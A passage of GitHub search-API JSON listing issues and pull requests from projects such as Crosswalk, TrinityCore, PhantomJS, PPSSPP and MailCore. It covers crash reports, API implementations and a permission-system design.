ub.com/crosswalk-project/crosswalk/pull/1179.diff","patch_url":"https://github.com/crosswalk-project/crosswalk/pull/1179.patch"},"body":"The implementation is based on 26 August 2013 editor's draft version:\r\nhttp://www.w3.org/2012/sysapps/contacts-manager-api/\r\n\r\nCompleted features list:\r\n* Save/update individual contact and contacts in batch\r\n* Find/list contacts\r\n* Remove contacts\r\n* Contact change event\r\n\r\nDesign ideas can be found in the [\"Intent to implement\" document](http://www.mail-archive.com/crosswalk-dev@lists.crosswalk-project.org/msg00346.html).\r\nFeature: [XWALK-49](https://crosswalk-project.org/jira/browse/XWALK-49)","score":0.11442199},{"url":"https://api.github.com/repos/mangosR2/mangos/issues/456","labels_url":"https://api.github.com/repos/mangosR2/mangos/issues/456/labels{/name}","comments_url":"https://api.github.com/repos/mangosR2/mangos/issues/456/comments","events_url":"https://api.github.com/repos/mangosR2/mangos/issues/456/events","html_url":"https://github.com/mangosR2/mangos/issues/456","id":2042576,"number":456,"title":"branch testing - for test code.","user":{"login":"rsa","id":148874,"avatar_url":"https://avatars.githubusercontent.com/u/148874","gravatar_id":"457439dd610042a46972f25d1c8b1019","url":"https://api.github.com/users/rsa","html_url":"https://github.com/rsa","followers_url":"https://api.github.com/users/rsa/followers","following_url":"https://api.github.com/users/rsa/following{/other_user}","gists_url":"https://api.github.com/users/rsa/gists{/gist_id}","starred_url":"https://api.github.com/users/rsa/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rsa/subscriptions","organizations_url":"https://api.github.com/users/rsa/orgs","repos_url":"https://api.github.com/users/rsa/repos","events_url":"https://api.github.com/users/rsa/events{/privacy}","received_events_url":"https://api.github.com/users/rsa/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/mangosR2/mangos/labels/Need+test","name":"Need test","color":"e10c02"}],"state":"closed","assignee":null,"milestone":null,"comments":151,"created_at":"2011-10-25T08:24:47Z","updated_at":"2012-03-08T08:49:55Z","closed_at":"2012-03-08T08:49:54Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"continue discussion from old issues by stability.","score":0.05234338},{"url":"https://api.github.com/repos/TrinityCore/TrinityCore/issues/5218","labels_url":"https://api.github.com/repos/TrinityCore/TrinityCore/issues/5218/labels{/name}","comments_url":"https://api.github.com/repos/TrinityCore/TrinityCore/issues/5218/comments","events_url":"https://api.github.com/repos/TrinityCore/TrinityCore/issues/5218/events","html_url":"https://github.com/TrinityCore/TrinityCore/issues/5218","id":3199401,"number":5218,"title":"[GDB-Backtrace] Collision BIH::intersectRay","user":{"login":"Amit86","id":977628,"avatar_url":"https://avatars.githubusercontent.com/u/977628","gravatar_id":"6096498e2a310a150d64eca522e65215","url":"https://api.github.com/users/Amit86","html_url":"https://github.com/Amit86","followers_url":"https://api.github.com/users/Amit86/followers","following_url":"https://api.github.com/users/Amit86/following{/other_user}","gists_url":"https://api.github.com/users/Amit86/gists{/gist_id}","starred_url":"https://api.github.com/users/Amit86/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Amit86/subscriptions","organizations_url":"https://api.github.com/users/Amit86/orgs","repos_url":"https://api.github.com/users/Amit86/repos","events_url":"https://api.github.com/users/Amit86/events{/privacy}","received_events_url":"https://api.github.com/users/Amit86/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/TrinityCore/TrinityCore/labels/HasBacktrace","name":"HasBacktrace","color":"02e10c"},{"url":"https://api.github.com/repos/TrinityCore/TrinityCore/labels/Priority-Critical","name":"Priority-Critical","color":"e102d8"}],"state":"closed","assignee":{"login":"Subv","id":357072,"avatar_url":"https://avatars.githubusercontent.com/u/357072","gravatar_id":"22425321ce534d18919abbe8d3349f09","url":"https://api.github.com/users/Subv","html_url":"https://github.com/Subv","followers_url":"https://api.github.com/users/Subv/followers","following_url":"https://api.github.com/users/Subv/following{/other_user}","gists_url":"https://api.github.com/users/Subv/gists{/gist_id}","starred_url":"https://api.github.com/users/Subv/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Subv/subscriptions","organizations_url":"https://api.github.com/users/Subv/orgs","repos_url":"https://api.github.com/users/Subv/repos","events_url":"https://api.github.com/users/Subv/events{/privacy}","received_events_url":"https://api.github.com/users/Subv/received_events","type":"User","site_admin":false},"milestone":null,"comments":147,"created_at":"2012-02-13T12:00:09Z","updated_at":"2013-11-05T05:50:57Z","closed_at":"2013-01-21T02:10:14Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"On hash 84268be\r\n\r\nFirst collision crash\r\n\r\n\r\nLink: http://paste2.org/p/1902836\r\n\r\nJust an FYI for Sub, dont close if the lines doesnt fit my spell::update isnt alterd\r\n\r\n```cpp\r\n\r\n\r\nvoid Spell::update(uint32 difftime)\r\n{\r\n // update pointers based at it's GUIDs\r\n UpdatePointers();\r\n\r\n if (m_targets.GetUnitTargetGUID() && !m_targets.GetUnitTarget())\r\n {\r\n sLog->outDebug(LOG_FILTER_SPELLS_AURAS, \"Spell %u is cancelled due to removal of target.\", m_spellInfo->Id);\r\n cancel();\r\n return;\r\n }\r\n\r\n // check if the player caster has moved before the spell finished\r\n if ((m_caster->GetTypeId() == TYPEID_PLAYER && m_timer != 0) &&\r\n m_caster->isMoving() && (m_spellInfo->InterruptFlags & SPELL_INTERRUPT_FLAG_MOVEMENT) &&\r\n (m_spellInfo->Effects[0].Effect != SPELL_EFFECT_STUCK || !m_caster->HasUnitMovementFlag(MOVEMENTFLAG_FALLING)))\r\n {\r\n // don't cancel for melee, autorepeat, triggered and instant spells\r\n if (!IsNextMeleeSwingSpell() && !IsAutoRepeat() && !IsTriggered())\r\n cancel();\r\n }\r\n\r\n switch (m_spellState)\r\n {\r\n case SPELL_STATE_PREPARING:\r\n {\r\n if (m_timer > 0)\r\n {\r\n // Cancel the cast if the target is not in line of sight\r\n if (m_targets.GetUnitTarget() && !m_caster->IsWithinLOSInMap(m_targets.GetUnitTarget()))\r\n {\r\n SendCastResult(SPELL_FAILED_LINE_OF_SIGHT);\r\n cancel();\r\n return;\r\n }\r\n\r\n if (difftime >= (uint32)m_timer)\r\n m_timer = 0;\r\n else\r\n m_timer -= difftime;\r\n }\r\n\r\n if (m_timer == 0 && !IsNextMeleeSwingSpell() && !IsAutoRepeat())\r\n // don't CheckCast for instant spells - done in spell::prepare, skip duplicate checks, needed for range checks for example\r\n cast(!m_casttime);\r\n break;\r\n }\r\n case SPELL_STATE_CASTING:\r\n {\r\n if (m_timer)\r\n {\r\n // check if there are alive targets left\r\n if (!UpdateChanneledTargetList())\r\n {\r\n sLog->outDebug(LOG_FILTER_SPELLS_AURAS, \"Channeled spell %d is removed due to lack of targets\", m_spellInfo->Id);\r\n SendChannelUpdate(0);\r\n finish();\r\n }\r\n\r\n if (m_timer > 0)\r\n {\r\n if (difftime >= (uint32)m_timer)\r\n m_timer = 0;\r\n else\r\n m_timer -= difftime;\r\n }\r\n }\r\n\r\n if (m_timer == 0)\r\n {\r\n SendChannelUpdate(0);\r\n\r\n // channeled spell processed independently for quest targeting\r\n // cast at creature (or GO) quest objectives update at successful cast channel finished\r\n // ignore autorepeat/melee casts for speed (not exist quest for spells (hm...)\r\n if (!IsAutoRepeat() && !IsNextMeleeSwingSpell())\r\n {\r\n if (Player* p = m_caster->GetCharmerOrOwnerPlayerOrPlayerItself())\r\n {\r\n for (std::list::iterator ihit = m_UniqueTargetInfo.begin(); ihit != m_UniqueTargetInfo.end(); ++ihit)\r\n {\r\n TargetInfo* target = &*ihit;\r\n if (!IS_CRE_OR_VEH_GUID(target->targetGUID))\r\n continue;\r\n\r\n Unit* unit = m_caster->GetGUID() == target->targetGUID ? m_caster : ObjectAccessor::GetUnit(*m_caster, target->targetGUID);\r\n if (unit == NULL)\r\n continue;\r\n\r\n p->CastedCreatureOrGO(unit->GetEntry(), unit->GetGUID(), m_spellInfo->Id);\r\n }\r\n\r\n for (std::list::iterator ihit = m_UniqueGOTargetInfo.begin(); ihit != m_UniqueGOTargetInfo.end(); ++ihit)\r\n {\r\n GOTargetInfo* target = &*ihit;\r\n\r\n GameObject* go = m_caster->GetMap()->GetGameObject(target->targetGUID);\r\n if (!go)\r\n continue;\r\n\r\n p->CastedCreatureOrGO(go->GetEntry(), go->GetGUID(), m_spellInfo->Id);\r\n }\r\n }\r\n }\r\n\r\n finish();\r\n }\r\n break;\r\n }\r\n default:\r\n break;\r\n }\r\n}\r\n```","score":0.113824666},{"url":"https://api.github.com/repos/ariya/phantomjs/issues/11418","labels_url":"https://api.github.com/repos/ariya/phantomjs/issues/11418/labels{/name}","comments_url":"https://api.github.com/repos/ariya/phantomjs/issues/11418/comments","events_url":"https://api.github.com/repos/ariya/phantomjs/issues/11418/events","html_url":"https://github.com/ariya/phantomjs/issues/11418","id":15753818,"number":11418,"title":"CoreText Issue on OS X Mavericks. For best performance, only use PostScript names when calling CTFontCreateWithName()","user":{"login":"wisesimpson","id":544374,"avatar_url":"https://avatars.githubusercontent.com/u/544374","gravatar_id":"80161171790cd0b6dfe442999be578ce","url":"https://api.github.com/users/wisesimpson","html_url":"https://github.com/wisesimpson","followers_url":"https://api.github.com/users/wisesimpson/followers","following_url":"https://api.github.com/users/wisesimpson/following{/other_user}","gists_url":"https://api.github.com/users/wisesimpson/gists{/gist_id}","starred_url":"https://api.github.com/users/wisesimpson/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wisesimpson/subscriptions","organizations_url":"https://api.github.com/users/wisesimpson/orgs","repos_url":"https://api.github.com/users/wisesimpson/repos","events_url":"https://api.github.com/users/wisesimpson/events{/privacy}","received_events_url":"https://api.github.com/users/wisesimpson/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/ariya/phantomjs/labels/Priority-High","name":"Priority-High","color":"ededed"},{"url":"https://api.github.com/repos/ariya/phantomjs/labels/Status-Accepted","name":"Status-Accepted","color":"ededed"},{"url":"https://api.github.com/repos/ariya/phantomjs/labels/Domain-Qt","name":"Domain-Qt","color":"ededed"}],"state":"closed","assignee":{"login":"ariya","id":7288,"avatar_url":"https://avatars.githubusercontent.com/u/7288","gravatar_id":"0284b8950e0f4a57bcc092d4dbb98d97","url":"https://api.github.com/users/ariya","html_url":"https://github.com/ariya","followers_url":"https://api.github.com/users/ariya/followers","following_url":"https://api.github.com/users/ariya/following{/other_user}","gists_url":"https://api.github.com/users/ariya/gists{/gist_id}","starred_url":"https://api.github.com/users/ariya/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ariya/subscriptions","organizations_url":"https://api.github.com/users/ariya/orgs","repos_url":"https://api.github.com/users/ariya/repos","events_url":"https://api.github.com/users/ariya/events{/privacy}","received_events_url":"https://api.github.com/users/ariya/received_events","type":"User","site_admin":false},"milestone":null,"comments":140,"created_at":"2013-06-19T16:13:46Z","updated_at":"2014-02-14T15:03:41Z","closed_at":"2014-01-04T04:42:51Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"When I run phantoms 1.9.1 (downloaded) on the new OS X Mavericks, I got this:\r\n\r\n2013-06-19 23:46:05.765 phantomjs[6149:507] CoreText performance note: Client called CTFontCreateWithName() using name \"Times New Roman\" and got font with PostScript name \"TimesNewRomanPSMT\". For best performance, only use PostScript names when calling this API.\r\n2013-06-19 23:46:05.767 phantomjs[6149:507] CoreText performance note: Set a breakpoint on CTFontLogSuboptimalRequest to debug.\r\n\r\nI think change the \"Times New Roman\" to \"TimesNewRomanPSMT\" may fix the issue.","score":0.11483045},{"url":"https://api.github.com/repos/Inglenookians/Project-Inglenook/issues/2","labels_url":"https://api.github.com/repos/Inglenookians/Project-Inglenook/issues/2/labels{/name}","comments_url":"https://api.github.com/repos/Inglenookians/Project-Inglenook/issues/2/comments","events_url":"https://api.github.com/repos/Inglenookians/Project-Inglenook/issues/2/events","html_url":"https://github.com/Inglenookians/Project-Inglenook/pull/2","id":8091725,"number":2,"title":"Logging (ign_logging)","user":{"login":"glimhumbletoes","id":1552722,"avatar_url":"https://avatars.githubusercontent.com/u/1552722","gravatar_id":"2b5c50bdfda433e1ee6f9cb768c9167b","url":"https://api.github.com/users/glimhumbletoes","html_url":"https://github.com/glimhumbletoes","followers_url":"https://api.github.com/users/glimhumbletoes/followers","following_url":"https://api.github.com/users/glimhumbletoes/following{/other_user}","gists_url":"https://api.github.com/users/glimhumbletoes/gists{/gist_id}","starred_url":"https://api.github.com/users/glimhumbletoes/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/glimhumbletoes/subscriptions","organizations_url":"https://api.github.com/users/glimhumbletoes/orgs","repos_url":"https://api.github.com/users/glimhumbletoes/repos","events_url":"https://api.github.com/users/glimhumbletoes/events{/privacy}","received_events_url":"https://api.github.com/users/glimhumbletoes/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","assignee":{"login":"chris5287","id":1552744,"avatar_url":"https://avatars.githubusercontent.com/u/1552744","gravatar_id":"68e2fb94c6f5ca87d97d946f1d5fa293","url":"https://api.github.com/users/chris5287","html_url":"https://github.com/chris5287","followers_url":"https://api.github.com/users/chris5287/followers","following_url":"https://api.github.com/users/chris5287/following{/other_user}","gists_url":"https://api.github.com/users/chris5287/gists{/gist_id}","starred_url":"https://api.github.com/users/chris5287/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/chris5287/subscriptions","organizations_url":"https://api.github.com/users/chris5287/orgs","repos_url":"https://api.github.com/users/chris5287/repos","events_url":"https://api.github.com/users/chris5287/events{/privacy}","received_events_url":"https://api.github.com/users/chris5287/received_events","type":"User","site_admin":false},"milestone":null,"comments":4,"created_at":"2012-11-04T20:16:18Z","updated_at":"2012-11-15T00:27:42Z","closed_at":"2012-11-15T00:27:42Z","pull_request":{"html_url":"https://github.com/Inglenookians/Project-Inglenook/pull/2","diff_url":"https://github.com/Inglenookians/Project-Inglenook/pull/2.diff","patch_url":"https://github.com/Inglenookians/Project-Inglenook/pull/2.patch"},"body":"Proposed initial version of inglenooks logging library. Pull request includes:\r\n\r\n
    \r\n
  • Inglenook logging library (all content of src/lib/ign_logging)
  • \r\n
  • Test routines (code coverage for all library, except exclusions cited in all_tests.h )
  • \r\n
  • Logging example code (all content of src/examples/lib/ign_logging )
  • \r\n
  • Modifications to CMAKE to support additional switches
  • \r\n
  • Build switch -DWITH_EXAMPLES ( On by default).
  • \r\n
\r\n\r\nThis release is tagged as ign_logging_v1.0.0000.","score":0.10236126},{"url":"https://api.github.com/repos/hrydgard/ppsspp/issues/2846","labels_url":"https://api.github.com/repos/hrydgard/ppsspp/issues/2846/labels{/name}","comments_url":"https://api.github.com/repos/hrydgard/ppsspp/issues/2846/comments","events_url":"https://api.github.com/repos/hrydgard/ppsspp/issues/2846/events","html_url":"https://github.com/hrydgard/ppsspp/issues/2846","id":16982116,"number":2846,"title":"Persona 3 Portable 5th block crash *fixed*","user":{"login":"CrymsonZX","id":5048874,"avatar_url":"https://avatars.githubusercontent.com/u/5048874","gravatar_id":"dcc50045fb21f472c9d5b6d35eb822c5","url":"https://api.github.com/users/CrymsonZX","html_url":"https://github.com/CrymsonZX","followers_url":"https://api.github.com/users/CrymsonZX/followers","following_url":"https://api.github.com/users/CrymsonZX/following{/other_user}","gists_url":"https://api.github.com/users/CrymsonZX/gists{/gist_id}","starred_url":"https://api.github.com/users/CrymsonZX/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/CrymsonZX/subscriptions","organizations_url":"https://api.github.com/users/CrymsonZX/orgs","repos_url":"https://api.github.com/users/CrymsonZX/repos","events_url":"https://api.github.com/users/CrymsonZX/events{/privacy}","received_events_url":"https://api.github.com/users/CrymsonZX/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","assignee":null,"milestone":null,"comments":132,"created_at":"2013-07-19T17:21:36Z","updated_at":"2014-01-30T07:00:32Z","closed_at":"2014-01-30T07:00:32Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"When I try to access the 5th block of Tartarus the game crashes with no explanation, I can still get to it via the 4th block but when I exit a battle 9 times out of 10 it'll crash as well, I'm using the default emulator settings and the game has been going smoothly till this point so I am really confused as to why this is happening.\r\nIf anyone knows how to fix this, I'd be really glad to try it.\r\nThank you in advance.\r\n\r\nEDIT: Works with Hardware Transforming disabled, tested on version 0.8.1-648-g88685b0\r\nSpecial thanks to @solarmystic and @vsub \r\n\r\nEDIT 2: first of all, sorry for no updates, been trying to reach 5th block on my 2nd playthrough, but now that I'm there I can say that @sum2012 's build works with Hardware Transform ON, I can play perfectly without any crashes, but, I don't see a difference in speed as @solarmystic said, but that may be just me. In conclusion, this is closed for good, I'll just keep using this build until an actual official fixed version is released by the developers.\r\nThank you @sum2012 for the build and @solarmystic for the trace that led to the build. And again, sorry for no updates in a while.\r\n\r\nEDIT 3: Oops, guess I said that too soon... Tried to close the menu while in the block and it crashed on me... I'm gonna need to re-open this thread...\r\n\r\nEDIT 4: Works without crashes on the newest version with default settings.","score":0.089615434},{"url":"https://api.github.com/repos/crosswalk-project/crosswalk/issues/1579","labels_url":"https://api.github.com/repos/crosswalk-project/crosswalk/issues/1579/labels{/name}","comments_url":"https://api.github.com/repos/crosswalk-project/crosswalk/issues/1579/comments","events_url":"https://api.github.com/repos/crosswalk-project/crosswalk/issues/1579/events","html_url":"https://github.com/crosswalk-project/crosswalk/pull/1579","id":27496160,"number":1579,"title":"[Application] [Extension] Added two permission APIs.","user":{"login":"mbbill","id":841602,"avatar_url":"https://avatars.githubusercontent.com/u/841602","gravatar_id":"4c96f8afdf03dfe5591422ca283a0dbd","url":"https://api.github.com/users/mbbill","html_url":"https://github.com/mbbill","followers_url":"https://api.github.com/users/mbbill/followers","following_url":"https://api.github.com/users/mbbill/following{/other_user}","gists_url":"https://api.github.com/users/mbbill/gists{/gist_id}","starred_url":"https://api.github.com/users/mbbill/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mbbill/subscriptions","organizations_url":"https://api.github.com/users/mbbill/orgs","repos_url":"https://api.github.com/users/mbbill/repos","events_url":"https://api.github.com/users/mbbill/events{/privacy}","received_events_url":"https://api.github.com/users/mbbill/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","assignee":null,"milestone":null,"comments":9,"created_at":"2014-02-13T05:51:57Z","updated_at":"2014-02-20T10:12:35Z","closed_at":"2014-02-20T08:49:33Z","pull_request":{"html_url":"https://github.com/crosswalk-project/crosswalk/pull/1579","diff_url":"https://github.com/crosswalk-project/crosswalk/pull/1579.diff","patch_url":"https://github.com/crosswalk-project/crosswalk/pull/1579.patch"},"body":"CheckAPIAccessControl\r\nThis API is for external extension developer. The API need to be called in the\r\nimplementation of each exported API in C or C++ code. For C extension\r\nimplantation, header file \"public/XW_Extension_Permissions.h\" should be\r\nincluded. For each API that need access sensitive data, developer should call\r\nCheckAPIAccessControl for API control. For C++ extension implantation, header\r\nfile \"xwalk/common/xwalk_external_extension.h\" should be included.\r\n\r\nRegisterPermissions\r\nThe runtime permission mapping is registered by extension which\r\nimplements some specific API, for example: \"bluetooth\" ->\r\n\"bluetooth.read, bluetooth.write, bluetooth.management\" Whenever there\r\ncomes a API permission request, we can tell whether this API is\r\nregistered, if yes, return the according permission name.","score":0.25919735},{"url":"https://api.github.com/repos/MailCore/mailcore2/issues/155","labels_url":"https://api.github.com/repos/MailCore/mailcore2/issues/155/labels{/name}","comments_url":"https://api.github.com/repos/MailCore/mailcore2/issues/155/comments","events_url":"https://api.github.com/repos/MailCore/mailcore2/issues/155/events","html_url":"https://github.com/MailCore/mailcore2/pull/155","id":16013894,"number":155,"title":"New message rendering methods on IMAP","user":{"login":"paulyoung","id":84700,"avatar_url":"https://avatars.githubusercontent.com/u/84700","gravatar_id":"ee593093b3a4aa721ad6979c752a9c9d","url":"https://api.github.com/users/paulyoung","html_url":"https://github.com/paulyoung","followers_url":"https://api.github.com/users/paulyoung/followers","following_url":"https://api.github.com/users/paulyoung/following{/other_user}","gists_url":"https://api.github.com/users/paulyoung/gists{/gist_id}","starred_url":"https://api.github.com/users/paulyoung/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/paulyoung/subscriptions","organizations_url":"https://api.github.com/users/paulyoung/orgs","repos_url":"https://api.github.com/users/paulyoung/repos","events_url":"https://api.github.com/users/paulyoung/events{/privacy}","received_events_url":"https://api.github.com/users/paulyoung/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/MailCore/mailcore2/labels/work-in-progress","name":"work-in-progress","color":"c7def8"},{"url":"https://api.github.com/repos/MailCore/mailcore2/labels/waffle%3Ain+progress","name":"waffle:in progress","color":"eac04b"}],"state":"closed","assignee":{"login":"paulyoung","id":84700,"avatar_url":"https://avatars.githubusercontent.com/u/84700","gravatar_id":"ee593093b3a4aa721ad6979c752a9c9d","url":"https://api.github.com/users/paulyoung","html_url":"https://github.com/paulyoung","followers_url":"https://api.github.com/users/paulyoung/followers","following_url":"https://api.github.com/users/paulyoung/following{/other_user}","gists_url":"https://api.github.com/users/paulyoung/gists{/gist_id}","starred_url":"https://api.github.com/users/paulyoung/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/paulyoung/subscriptions","organizations_url":"https://api.github.com/users/paulyoung/orgs","repos_url":"https://api.github.com/users/paulyoung/repos","events_url":"https://api.github.com/users/paulyoung/events{/privacy}","received_events_url":"https://api.github.com/users/paulyoung/received_events","type":"User","site_admin":false},"milestone":{"url":"https://api.github.com/repos/MailCore/mailcore2/milestones/1","labels_url":"https://api.github.com/repos/MailCore/mailcore2/milestones/1/labels","id":361723,"number":1,"title":"0.2","description":"- Improve usability of APIs\r\n- Implement OAuth 2.0\r\n","creator":{"login":"dinhviethoa","id":332168,"avatar_url":"https://avatars.githubusercontent.com/u/332168","gravatar_id":"6b2f37933bf38e2d22949f316e751757","url":"https://api.github.com/users/dinhviethoa","html_url":"https://github.com/dinhviethoa","followers_url":"https://api.github.com/users/dinhviethoa/followers","following_url":"https://api.github.com/users/dinhviethoa/following{/other_user}","gists_url":"https://api.github.com/users/dinhviethoa/gists{/gist_id}","starred_url":"https://api.github.com/users/dinhviethoa/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dinhviethoa/subscriptions","organizations_url":"https://api.github.com/users/dinhviethoa/orgs","repos_url":"https://api.github.com/users/dinhviethoa/repos","events_url":"https://api.github.com/users/dinhviethoa/events{/privacy}","received_events_url":"https://api.github.com/users/dinhviethoa/received_events","type":"User","site_admin":false},"open_issues":0,"closed_issues":29,"state":"closed","created_at":"2013-06-22T21:12:02Z","updated_at":"2013-07-31T17:00:39Z","due_on":"2013-07-28T07:00:00Z"},"comments":48,"created_at":"2013-06-26T03:38:48Z","updated_at":"2013-07-21T19:04:47Z","closed_at":"2013-07-12T03:33:33Z","pull_request":{"html_url":"https://github.com/MailCore/mailcore2/pull/155","diff_url":"https://github.com/MailCore/mailcore2/pull/155.diff","patch_url":"https://github.com/MailCore/mailcore2/pull/155.patch"},"body":"I'm creating a pull request so it's easier to discuss and track changes as opposed to in the issues themselves.\r\n\r\nAs discussed in #112 and #111, this is a first pass at defining the interface. Currently only includes IMAP. RFC 822 to come.\r\n\r\nI need to look further into the implementation and how the existing `IMAPMessage::htmlRendering` and `HTMLRenderer::htmlForIMAPMessage` methods work. It's unclear to me at this point if these new methods need to take additional parameters for the callbacks or if callbacks will be created within their implementation.","score":0.07660277},{"url":"https://api.github.com/repos/crosswalk-project/crosswalk/issues/1375","labels_url":"https://api.github.com/repos/crosswalk-project/crosswalk/issues/1375/labels{/name}","comments_url":"https://api.github.com/repos/crosswalk-project/crosswalk/issues/1375/comments","events_url":"https://api.github.com/repos/crosswalk-project/crosswalk/issues/1375/events","html_url":"https://github.com/crosswalk-project/crosswalk/pull/1375","id":24606936,"number":1375,"title":"[DO NOT MERGE] [Application] Implementation of application permission system.","user":{"login":"mbbill","id":841602,"avatar_url":"https://avatars.githubusercontent.com/u/841602","gravatar_id":"4c96f8afdf03dfe5591422ca283a0dbd","url":"https://api.github.com/users/mbbill","html_url":"https://github.com/mbbill","followers_url":"https://api.github.com/users/mbbill/followers","following_url":"https://api.github.com/users/mbbill/following{/other_user}","gists_url":"https://api.github.com/users/mbbill/gists{/gist_id}","starred_url":"https://api.github.com/users/mbbill/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mbbill/subscriptions","organizations_url":"https://api.github.com/users/mbbill/orgs","repos_url":"https://api.github.com/users/mbbill/repos","events_url":"https://api.github.com/users/mbbill/events{/privacy}","received_events_url":"https://api.github.com/users/mbbill/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","assignee":null,"milestone":null,"comments":36,"created_at":"2013-12-20T06:22:51Z","updated_at":"2014-02-25T01:17:43Z","closed_at":"2014-02-25T01:17:43Z","pull_request":{"html_url":"https://github.com/crosswalk-project/crosswalk/pull/1375","diff_url":"https://github.com/crosswalk-project/crosswalk/pull/1375.diff","patch_url":"https://github.com/crosswalk-project/crosswalk/pull/1375.patch"},"body":"**This patch contains following major parts implemented step-by-step:** completed steps are marked as [x]\r\n\r\n- [x] Permission check: it's unfinished because some of it's logic need to be put into the Application class which does not exist for the moment, the corresponding code in ApplicationService is ready though. The remaining tasks are marked by TODOs (Update: the missing parts are completed in the 4th commit in the PR)\r\n\r\n- [x] Permission storage: permissions should be stored in ApplicationData and eventually the database, so now we have setter and getter in the ApplicationData class and the actual db operations are done inside ApplicationStorageImpl.\r\n\r\n- [x] Permission message passing (on going): It's merged from Xu,Zhang's PR #1231 .\r\nThe following comments are copied from PR #1231\r\n\r\n This PR is related to API Access Control feature: communication functionality between extension and browser process.\r\n In this PR, a new API is public for extension developer to enforce API permission checking. The whole API Access Control feature is composed of a few PRs. This PR is one of them. Another PR related to this feature is PR#1176:Added permission group and policy management classes.\r\nThe design document of this feature can be found from https://docs.google.com/a/intel.com/document/d/137u_gxmNaIFwVzaCkCFBJyveIdZxuAydWOkMI8oWgD0/edit#heading=h.5rkmb0mvstye\r\n\r\n- [x] Fully integrate Zhang,Xu's IPC code, make the permission definitions, method names align.\r\n\r\n- [x] Switching to async response in permission check API. After this step is done, we will have a working permission system.\r\n\r\n- [x] Permission-function register.\r\n\r\n One extension may provide one or more (typically only one) set of APIs that are under corresponding permission label. For example, one extension may implement all the bluetooth.xxx() functions under permission name 'bluetooth', or more detailed permission name 'bluetooth.read, bluetooth.write, bluetooth.management' (it depends on how permission catagory is defined). The extension is responsible for registering its implemented functions and permissions after being loaded by extension system by calling a permission register function with it's permission-function mapping. The mapping is JSON string (being defined) which may look like\r\n```\r\n{ \"bluetooth\": [\"bluetooth.read\", \"bluetooth.write\"] }\r\n```\r\n\r\n----\r\n**The following features will be included In the next PR**\r\n- [ ] Define the permission-function register format.\r\n- [ ] Make the \"CheckAPIAccessControl\" work for in-process extensions.\r\n - [x] Move permission delegate from XwalkExternalExtension to the XwalkExtension class.\r\n - [ ] Implement permission delegate for in-process extensions.\r\n- [ ] OEM policy define and implementation.\r\n\r\n- [ ] UI dialog.\r\n\r\n- [ ] Permission cache in extension process\r\n\r\n**Relation with other permission-related patches**\r\n - Because of the refactor of storage system and to fit in the future application architecture, this patch deprecates the previous PR #1176\r\n\r\n - Because the permission messaging API are merged into this patch, this patch deprecates PR #1231\r\n\r\n**Some Term Explanations:**\r\n - Runtime Permission:\r\n\r\n Permission name used by runtime/extension/render process to determine a appropriate operation for a permission request.\r\n\r\n - Stored Permission:\r\n\r\n Permission name that would be stored into database during installation or after a user interaction.\r\n","score":0.10998621},{"url":"https://api.github.com/repos/cms-sw/cmssw/issues/2171","labels_url":"https://api.github.com/repos/cms-sw/cmssw/issues/2171/labels{/name}","comments_url":"https://api.github.com/repos/cms-sw/cmssw/issues/2171/comments","events_url":"https://api.github.com/repos/cms-sw/cmssw/issues/2171/events","html_url":"https://github.com/cms-sw/cmssw/pull/2171","id":26274278,"number":2171,"title":"Switching default jet collection from AK5 to AK4","user":{"login":"rappoccio","id":4267705,"avatar_url":"https://avatars.githubusercontent.com/u/4267705","gravatar_id":"bbdf4ebd75ba76d1a5b6c172c9fac57e","url":"https://api.github.com/users/rappoccio","html_url":"https://github.com/rappoccio","followers_url":"https://api.github.com/users/rappoccio/followers","following_url":"https://api.github.com/users/rappoccio/following{/other_user}","gists_url":"https://api.github.com/users/rappoccio/gists{/gist_id}","starred_url":"https://api.github.com/users/rappoccio/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rappoccio/subscriptions","organizations_url":"https://api.github.com/users/rappoccio/orgs","repos_url":"https://api.github.com/users/rappoccio/repos","events_url":"https://api.github.com/users/rappoccio/events{/privacy}","received_events_url":"https://api.github.com/users/rappoccio/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/cms-sw/cmssw/labels/reconstruction-pending","name":"reconstruction-pending","color":"fbca04"},{"url":"https://api.github.com/repos/cms-sw/cmssw/labels/simulation-pending","name":"simulation-pending","color":"fbca04"},{"url":"https://api.github.com/repos/cms-sw/cmssw/labels/dqm-pending","name":"dqm-pending","color":"fbca04"},{"url":"https://api.github.com/repos/cms-sw/cmssw/labels/hlt-pending","name":"hlt-pending","color":"fbca04"},{"url":"https://api.github.com/repos/cms-sw/cmssw/labels/core-pending","name":"core-pending","color":"fbca04"},{"url":"https://api.github.com/repos/cms-sw/cmssw/labels/analysis-pending","name":"analysis-pending","color":"fbca04"},{"url":"https://api.github.com/repos/cms-sw/cmssw/labels/alca-pending","name":"alca-pending","color":"fbca04"},{"url":"https://api.github.com/repos/cms-sw/cmssw/labels/docs-pending","name":"docs-pending","color":"fbca04"},{"url":"https://api.github.com/repos/cms-sw/cmssw/labels/fastsim-pending","name":"fastsim-pending","color":"fbca04"},{"url":"https://api.github.com/repos/cms-sw/cmssw/labels/db-pending","name":"db-pending","color":"f